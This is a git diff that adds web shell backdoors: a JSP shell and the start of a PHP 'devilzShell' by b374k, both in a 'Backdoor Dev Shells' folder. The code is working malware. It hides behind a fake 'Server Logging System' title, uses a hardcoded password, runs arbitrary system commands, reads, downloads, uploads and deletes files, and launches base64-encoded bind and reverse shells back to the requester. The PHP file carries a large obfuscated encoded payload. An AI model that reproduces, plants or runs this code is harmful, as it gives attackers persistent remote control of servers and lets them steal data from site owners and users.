+ case '\'' :sb.append("'");break;
+ case ' ' :sb.append(" ");break;
+ default :sb.append(c);
+ }
+ }
+ return sb.toString();
+}
+public boolean is_image(String fpath){
+ FileNameMap fileNameMap = URLConnection.getFileNameMap();
+ String contentType = fileNameMap.getContentTypeFor(fpath);
+ if(contentType!=null && contentType.toLowerCase().startsWith("image")){ return true; }
+ return false;
+}
+class myComparator implements Comparator {
+ public int compare(Object o1, Object o2) {
+ String s1 = (String) o1;
+ String s2 = (String) o2;
+ return s1.toLowerCase().compareTo(s2.toLowerCase());
+ }
+}
+public class FileInfo {
+ public String name = null, clientFileName = null, fileContentType = null;
+ private byte[] fileContents = null;
+ public File file = null;
+ public StringBuffer sb = new StringBuffer(100);
+
+ public void setFileContents(byte[] aByteArray) {
+ fileContents = new byte[aByteArray.length];
+ System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);
+ }
+}
+public class HttpMultiPartParser {
+ //private final String lineSeparator = System.getProperty("line.separator", "\n");
+ private final int ONE_MB = 1024 * 1;
+
+ public Hashtable processData(ServletInputStream is, String boundary, String saveInDir,
+ int clength) throws IllegalArgumentException, IOException {
+ if (is == null) throw new IllegalArgumentException("InputStream");
+ if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException(
+ "\"" + boundary + "\" is an illegal boundary indicator");
+ boundary = "--" + boundary;
+ StringTokenizer stLine = null, stFields = null;
+ FileInfo fileInfo = null;
+ Hashtable dataTable = new Hashtable(5);
+ String line = null, field = null, paramName = null;
+ boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0);
+ boolean isFile = false;
+ if (saveFiles) { // Create the required directory (including parent dirs)
+ File f = new File(saveInDir);
+ f.mkdirs();
+ }
+ line = getLine(is);
+ if (line == null || !line.startsWith(boundary)) throw new IOException(
+ "Boundary not found; boundary = " + boundary + ", line = " + line);
+ while (line != null) {
+ if (line == null || !line.startsWith(boundary)) return dataTable;
+ line = getLine(is);
+ if (line == null) return dataTable;
+ stLine = new StringTokenizer(line, ";\r\n");
+ if (stLine.countTokens() < 2) throw new IllegalArgumentException(
+ "Bad data in second line");
+ line = stLine.nextToken().toLowerCase();
+ if (line.indexOf("form-data") < 0) throw new IllegalArgumentException(
+ "Bad data in second line");
+ stFields = new StringTokenizer(stLine.nextToken(), "=\"");
+ if (stFields.countTokens() < 2) throw new IllegalArgumentException(
+ "Bad data in second line");
+ fileInfo = new FileInfo();
+ stFields.nextToken();
+ paramName = stFields.nextToken();
+ isFile = false;
+ if (stLine.hasMoreTokens()) {
+ field = stLine.nextToken();
+ stFields = new StringTokenizer(field, "=\"");
+ if (stFields.countTokens() > 1) {
+ if (stFields.nextToken().trim().equalsIgnoreCase("filename")) {
+ fileInfo.name = paramName;
+ String value = stFields.nextToken();
+ if (value != null && value.trim().length() > 0) {
+ fileInfo.clientFileName = value;
+ isFile = true;
+ }
+ else {
+ line = getLine(is); // Skip "Content-Type:" line
+ line = getLine(is); // Skip blank line
+ line = getLine(is); // Skip blank line
+ line = getLine(is); // Position to boundary line
+ continue;
+ }
+ }
+ }
+ else if (field.toLowerCase().indexOf("filename") >= 0) {
+ line = getLine(is); // Skip "Content-Type:" line
+ line = getLine(is); // Skip blank line
+ line = getLine(is); // Skip blank line
+ line = getLine(is); // Position to boundary line
+ continue;
+ }
+ }
+ boolean skipBlankLine = true;
+ if (isFile) {
+ line = getLine(is);
+ if (line == null) return dataTable;
+ if (line.trim().length() < 1) skipBlankLine = false;
+ else {
+ stLine = new StringTokenizer(line, ": ");
+ if (stLine.countTokens() < 2) throw new IllegalArgumentException(
+ "Bad data in third line");
+ stLine.nextToken(); // Content-Type
+ fileInfo.fileContentType = stLine.nextToken();
+ }
+ }
+ if (skipBlankLine) {
+ line = getLine(is);
+ if (line == null) return dataTable;
+ }
+ if (!isFile) {
+ line = getLine(is);
+ if (line == null) return dataTable;
+ dataTable.put(paramName, line);
+ // If parameter is dir, change saveInDir to dir
+ if (paramName.equals("dir")) saveInDir = line;
+ line = getLine(is);
+ continue;
+ }
+ try {
+ OutputStream os = null;
+ String path = null;
+ if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir,
+ fileInfo.clientFileName));
+ else os = new ByteArrayOutputStream(ONE_MB);
+ boolean readingContent = true;
+ byte previousLine[] = new byte[2 * ONE_MB];
+ byte temp[] = null;
+ byte currentLine[] = new byte[2 * ONE_MB];
+ int read, read3;
+ if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) {
+ line = null;
+ break;
+ }
+ while (readingContent) {
+ if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) {
+ line = null;
+ break;
+ }
+ if (compareBoundary(boundary, currentLine)) {
+ os.write(previousLine, 0, read - 2);
+ line = new String(currentLine, 0, read3);
+ break;
+ }
+ else {
+ os.write(previousLine, 0, read);
+ temp = currentLine;
+ currentLine = previousLine;
+ previousLine = temp;
+ read = read3;
+ }//end else
+ }//end while
+ os.flush();
+ os.close();
+ if (!saveFiles) {
+ ByteArrayOutputStream baos = (ByteArrayOutputStream) os;
+ fileInfo.setFileContents(baos.toByteArray());
+ }
+ else fileInfo.file = new File(path);
+ dataTable.put(paramName, fileInfo);
+ }//end try
+ catch (IOException e) {
+ throw e;
+ }
+ }
+ return dataTable;
+ }
+
+ /**
+ * Compares boundary string to byte array
+ */
+ private boolean compareBoundary(String boundary, byte ba[]) {
+ if (boundary == null || ba == null) return false;
+ for (int i = 0; i < boundary.length(); i++)
+ if ((byte) boundary.charAt(i) != ba[i]) return false;
+ return true;
+ }
+
+ /** Convenience method to read HTTP header lines */
+ private synchronized String getLine(ServletInputStream sis) throws IOException {
+ byte b[] = new byte[1024];
+ int read = sis.readLine(b, 0, b.length), index;
+ String line = null;
+ if (read != -1) {
+ line = new String(b, 0, read);
+ if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1);
+ }
+ return line;
+ }
+
+ public String getFileName(String dir, String fileName) throws IllegalArgumentException {
+ String path = null;
+ if (dir == null || fileName == null) throw new IllegalArgumentException(
+ "dir or fileName is null");
+ int index = fileName.lastIndexOf('/');
+ String name = null;
+ if (index >= 0) name = fileName.substring(index + 1);
+ else name = fileName;
+ index = name.lastIndexOf('\\');
+ if (index >= 0) fileName = name.substring(index + 1);
+ path = dir + File.separator + fileName;
+ if (File.separatorChar == '/') return path.replace('\\', File.separatorChar);
+ else return path.replace('/', File.separatorChar);
+ }
+} //End of class HttpMultiPartParser
+
+Hashtable cookieTable(Cookie[] cookies) {
+ Hashtable cookieTable = new Hashtable();
+ if (cookies != null) {
+ for (int i=0; i < cookies.length; i++)
+ cookieTable.put(cookies[i].getName(), cookies[i].getValue());
+ }
+ return cookieTable;
+}
+
+%><%
+//################# INIT GOES HERE #######################==================================================]
+//String xCwd_ = getServletConfig().getServletContext().getRealPath(request.getRequestURI());
+String xCwd_ = getServletConfig().getServletContext().getRealPath(request.getRequestURI());
+String xCwd = xCwd_.substring(0,xCwd_.lastIndexOf(getSlash()));
+chdir(xCwd);
+
+String result = "";
+String check = "";
+Hashtable _COOKIE = cookieTable(request.getCookies());
+Cookie myCookie;
+boolean auth = false;
+if((request.getParameter("passw")!=null) && (!request.getParameter("passw").equals(""))){
+ check = request.getParameter("passw").trim();
+ if(check.equals(shell_password)){
+ myCookie = new Cookie("pass",check);
+ myCookie.setMaxAge(3600*24*7);
+ response.addCookie(myCookie);
+ }
+ else {
+ myCookie = new Cookie("pass","");
+ myCookie.setMaxAge(0);
+ response.addCookie(myCookie);
+ }
+}
+if(_COOKIE.containsKey("pass")) {
+ check = (String) _COOKIE.get("pass");
+}
+
+if(check.equals(shell_password)){
+ auth = true;
+}
+else auth = false;
+
+
+if((request.getParameter("img")!=null) && (!request.getParameter("img").equals(""))){
+ String myfile = request.getParameter("img");
+ if(is_file(myfile)){
+ response.setContentType("image/png");
+ OutputStream o = response.getOutputStream();
+ FileInputStream fis = new FileInputStream(myfile);
+ int i;
+ while ((i=fis.read()) != -1){ o.write(i); }
+ fis.close();
+ o.flush();
+ o.close();
+ return;
+ }
+ else{
+ String file = "";
+ if(myfile.equals("icon")){
+ file = icon;
+ }
+ else if(myfile.equals("bg")){
+ file = bg;
+ }
+ byte[] data = b64decode(file);
+ response.setContentType("image/png");
+ OutputStream o = response.getOutputStream();
+ o.write(data);
+ o.flush();
+ o.close();
+ return;
+ }
+}
+if((request.getParameter("get")!=null) && (!request.getParameter("get").equals(""))){
+ String myfile = request.getParameter("get");
+ File myfile__ = new File(myfile);
+ response.setContentType("application/octet-stream");
+ response.setHeader("Content-Disposition","attachment; filename=\"" + myfile__.getName() + "\"");
+ OutputStream o = response.getOutputStream();
+ FileInputStream fis = new FileInputStream(myfile);
+ int i;
+ while ((i=fis.read()) != -1){ o.write(i); }
+ fis.close();o.flush();o.close();
+ return;
+}
+
+
+if((request.getParameter("dir")!=null) && (!request.getParameter("dir").equals(""))){
+ String newdir = xcleanpath(urldecode(request.getParameter("dir").trim()));
+ if((request.getParameter("oldfilename")!=null) && (!request.getParameter("oldfilename").equals(""))){
+ if((request.getParameter("properties")!=null) && (!request.getParameter("properties").equals(""))){
+ newdir = xcleanpath(xparentfolder(request.getParameter("oldfilename")));
+ }
+ }
+ if(is_dir(newdir)){
+ chdir(newdir);
+ xCwd = newdir;
+ }
+ else if(is_file(newdir)){
+ newdir = newdir.substring(0,newdir.lastIndexOf(getSlash()));
+ if(is_dir(newdir)){
+ chdir(newdir);
+ xCwd = newdir;
+ }
+ }
+
+ if((request.getParameter("foldername")!=null) && (!request.getParameter("foldername").equals(""))){
+ File myFile = new File(xcleanpath(xCwd + request.getParameter("foldername")));
+ if(!myFile.exists()) myFile.mkdir();
+ }
+ else if((request.getParameter("del")!=null) && (!request.getParameter("del").equals(""))){
+ String fdel = request.getParameter("del");
+ if(is_file(fdel)) new File(fdel).delete();
+ else if(is_dir(fdel)){
+ xrmdir(fdel);
+ xCwd = xcleanpath(newdir);
+ }
+ }
+ else if((request.getParameter("childname")!=null) && (!request.getParameter("childname").equals(""))){
+ String childname = request.getParameter("childname").trim();
+ String ortu = getServletConfig().getServletContext().getRealPath(request.getRequestURI());
+ String con = xfileopen(ortu);
+ xfilesave(xCwd+childname,con);
+ }
+}
+
+if((request.getParameter("btnConnect")!=null) && (!request.getParameter("btnConnect").equals(""))){
+ if((request.getParameter("bportC")!=null) && (is_numeric(request.getParameter("bportC")))){
+ String port = request.getParameter("bportC");
+ String base64 = "";
+ if(is_win()) base64 = wBind;
+ else base64 = xBack;
+ if(xrunexploit(xCwd,base64,port,request.getRemoteAddr())){
+ }
+ }
+}
+else if((request.getParameter("btnListen")!=null) && (!request.getParameter("btnListen").equals(""))){
+ if((request.getParameter("lportC")!=null) && (is_numeric(request.getParameter("lportC")))){
+ String port = request.getParameter("lportC");
+ String base64 = "";
+ if(is_win()) base64 = wBind;
+ else base64 = xBind;
+ if(xrunexploit(xCwd,base64,port,"")){
+ }
+ }
+}
+
+
+
+if ((request.getContentType() != null) && (request.getContentType().toLowerCase().startsWith("multipart"))) {
+ HttpMultiPartParser myParser = new HttpMultiPartParser();
+ try{
+ int bstart = request.getContentType().lastIndexOf("oundary=");
+ String bound = request.getContentType().substring(bstart + 8);
+ int clength = request.getContentLength();
+ Hashtable ht = myParser.processData(request.getInputStream(), bound, xCwd, clength);
+ if(ht.get("btnNewUploadUrl")!=null && !ht.get("btnNewUploadUrl").equals("")){
+ if(ht.get("fileurl")!=null && !ht.get("fileurl").equals("")){
+ URL myUrl = new URL(ht.get("fileurl").toString());
+ URLConnection myCon = myUrl.openConnection();
+ int conLength = myCon.getContentLength();
+ InputStream raw = myCon.getInputStream();
+ InputStream in = new BufferedInputStream(raw);
+ byte[] data = new byte[conLength];
+ int bytesRead = 0;
+ int offset = 0;
+ while(offset < conLength){
+ bytesRead = in.read(data, offset, data.length - offset);
+ if(bytesRead == -1) break;
+ offset += bytesRead;
+ }
+ in.close();
+ if(offset == conLength){
+ String fname = myUrl.getFile();
+ fname = fname.substring(fname.lastIndexOf('/')+1);
+ if(ht.get("filename")!=null && !ht.get("filename").equals("")){
+ fname = ht.get("filename").toString().trim();
+ }
+ FileOutputStream ooo = new FileOutputStream(xCwd + fname);
+ ooo.write(data);ooo.flush();ooo.close();
+ }
+ }
+ }
+ else if(ht.get("btnNewUploadLocal")!=null && !ht.get("btnNewUploadLocal").equals("")){
+ FileInfo fi = (FileInfo) ht.get("filelocal");
+ String clientFileName = xCwd + fi.clientFileName.trim();
+ if(ht.get("filename")!=null && !ht.get("filename").equals("")){
+ String filename = xCwd + ht.get("filename").toString().trim();
+ File clientFile = new File(clientFileName);
+ clientFile.renameTo(new File(filename));
+ }
+ }
+ }
+ catch(Exception e){ }
+}
+
+if((request.getParameter("cmd")!=null) && (!request.getParameter("cmd").equals(""))){
+ String cmd = urldecode(request.getParameter("cmd"));
+ String newdir = "";
+ if(cmd.toLowerCase().startsWith("cd ")){
+ newdir = cmd.substring(3).trim();
+ if(is_win()) newdir = newdir.replace("/","\\");
+ if(newdir.equals("\\") && xCwd.length()>=3){ xCwd = xCwd.substring(0,3); }
+ else if(newdir.equals(".")) { }
+ else if(newdir.equals("..")) {
+ xCwd = xcleanpath(xparentfolder(xCwd));
+ }
+ else{
+ if(newdir.indexOf(":") > 0){
+ if(is_dir(newdir)){ xCwd = xcleanpath(newdir); }
+ }
+ else if(is_dir(newdir)){
+ xCwd = xcleanpath(newdir);
+ }
+ else{
+ if(is_dir(xCwd + newdir)) { xCwd = xcleanpath(xCwd + newdir); }
+ }
+ }
+ result = xdir(xCwd);
+ }
+ else if(cmd.matches("^\\w{1}:.*")){
+ if(is_dir(cmd)){ xCwd = xcleanpath(cmd); }
+ result = xdir(xCwd);
+ }
+ else {
+ String result_ = htmlspecialchars(ekse(cmd,xCwd));
+ if(!result_.equals("")) result = result_.replace("\n"," ");
+ else {
+ result = xdir(xCwd);
+ }
+ }
+ chdir(xCwd);
+}
+else if((request.getParameter("properties")!=null) && (!request.getParameter("properties").equals(""))){
+ String fname = xcleanpath(urldecode(request.getParameter("properties")));
+ String oldname = "";
+ if((request.getParameter("oldfilename")!=null) && (!request.getParameter("oldfilename").equals(""))){
+ oldname = request.getParameter("oldfilename");
+ File oldfile = new File(oldname);
+ oldfile.renameTo(new File(fname));
+ }
+ String dir = xCwd;
+ String fcont = "";
+ String fview = "";
+ String fsize = "";
+ String faction = "";
+ String type = "";
+ if(is_dir(fname)){
+ fsize = "DIR";
+ fcont = xdir(fname);
+ faction = "Properties | Remove ";
+ }
+ else{
+ fsize = xparsefilesize(xfilesize(fname)) + " ( " + xfilesize(fname) + " bytes ) ";
+ if((request.getParameter("type")!=null) && (!request.getParameter("type").equals(""))) type = request.getParameter("type").trim();
+ else{
+ if(is_image(fname)) type = "img";
+ else type = "text";
+ }
+ if(type.equals("img")){
+ String imglink = "[ view full size ]
";
+ fcont = "" + imglink + "
";
+ }
+ else{
+ String code = htmlspecialchars(xfileopen(fname));
+ fcont = "" + code.replace("\n"," ") + "
";
+ }
+
+ faction = "Edit | Download | Remove ";
+ fview = "[ text ] [ image ] ";
+ }
+ String fperm = xfileperms(fname);
+ String filemtime = xfilelastmodified(fname);
+ result = "";
+}
+else if(((request.getParameter("view")!=null) && (!request.getParameter("view").equals(""))) || ((request.getParameter("filename")!=null) && (!request.getParameter("filename").equals("")))){
+ String mymsg = "";
+ String pesan = "";
+ String fpath = "";
+ boolean dos = false;
+ if((request.getParameter("save")!=null) && (!request.getParameter("save").equals(""))){
+ if((request.getParameter("dos")!=null) && (request.getParameter("dos").equals("true"))){ dos = true; }
+ String saveas = request.getParameter("saveas");
+ BufferedWriter outs = new BufferedWriter(new FileWriter(saveas));
+ StringReader text = new StringReader(request.getParameter("filesource"));
+ int i;
+ boolean cr = false;
+ String lineend = "\n";
+ if (dos) lineend = "\r\n";
+ while ((i = text.read()) >= 0) {
+ if (i == '\r') cr = true;
+ else if (i == '\n') {
+ outs.write(lineend);
+ cr = false;
+ }
+ else if (cr) {
+ outs.write(lineend);
+ cr = false;
+ }
+ else {
+ outs.write(i);
+ cr = false;
+ }
+ }
+ outs.flush();
+ outs.close();
+
+ if(is_file(saveas)) pesan = "File Saved";
+ else pesan = "Failed to save file";
+ mymsg = "[ " + pesan + " ] ";
+ }
+ if((request.getParameter("view")!=null) && (!request.getParameter("view").equals(""))) {
+ fpath = request.getParameter("view");
+ if((request.getParameter("saveas")!=null) && (!request.getParameter("saveas").equals(""))){
+ fpath = request.getParameter("saveas");
+ }
+ }
+ else fpath = xCwd + request.getParameter("filename");
+
+ StringBuffer result_ = new StringBuffer("");;
+ BufferedReader reader = new BufferedReader(new FileReader(fpath));
+ int i;
+
+ boolean cr = false;
+ while ((i = reader.read()) >= 0) {
+ result_.append((char) i);
+ if (i == '\r') cr = true;
+ else if (cr && (i == '\n')) dos = true;
+ else cr = false;
+ }
+ reader.close();
+ String doz = "";if(dos) doz="true";else doz="false";
+ result = "" + xfilesummary(fpath) + " " + mymsg + "
" +
+ "" +
+ "" + result_ + " " +
+ " " +
+ " " +
+ " " +
+ " ";
+}
+else{
+ result = xdir(xCwd);
+}
+//################# Finalizing #######################======================================================]
+File xcfile = new File(".");
+xCwd = xcfile.getCanonicalPath();
+String html_title = "";
+String html_head = "";
+String html_body = "";
+if(auth){
+ String bportC = "";
+ String lportC = "";
+ if(request.getParameter("bportC")!=null) bportC = request.getParameter("bportC");
+ else bportC = shell_fav_port;
+ if(request.getParameter("lportC")!=null) lportC = request.getParameter("lportC");
+ else lportC = shell_fav_port;
+
+ html_title = shell_title + " " + xCwd;
+ html_head = "" + html_title + " " +
+" " + shell_style +
+"";
+html_body = "" +
+"
" +
+"
" + xHeader +
+"
" + xdrive() + xparsedir(xCwd) +
+"
" +
+"" +
+"
" +
+"
" +
+"
" +
+"
" +
+"
" +
+"
" +
+"
" +
+"
" + result +
+"
";
+}
+else {
+ html_title = shell_fake_name;
+ html_head = "" + html_title + " " + shell_style;
+ html_body = "";
+}
+String html_onload = "";
+if((request.getParameter("cmd")!=null) || (request.getParameter("passw")!=null)){
+ html_onload = " onload=\"document.getElementById('cmd').focus();\"";
+}
+else html_onload = "";
+
+String html_final = "" + html_head +
+"" +
+"" +
+"" + html_body +
+"
";
+%><% out.println(html_final.replace("\\s+"," ").trim()); %>
\ No newline at end of file
diff --git a/Backdoor Dev Shells/devshell.php b/Backdoor Dev Shells/devshell.php
new file mode 100644
index 0000000..c86a112
--- /dev/null
+++ b/Backdoor Dev Shells/devshell.php
@@ -0,0 +1,21 @@
+
+// ^^^^^^^^^^^^
+// author: b374k
+// greets: devilzc0der(s) and all of you who love peace and freedom
+//
+//
+// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+// Jayalah Indonesiaku
+
+
+$shell_name = "devilzShell";
+$shell_fake_name = "Server Logging System";
+$shell_title = " :: ".$shell_name." ::";
+$shell_version = "v1";
+$shell_password = "devilzc0der";
+$shell_fav_port = "12345";
+$shell_color = "#374374";
+$shell_code = "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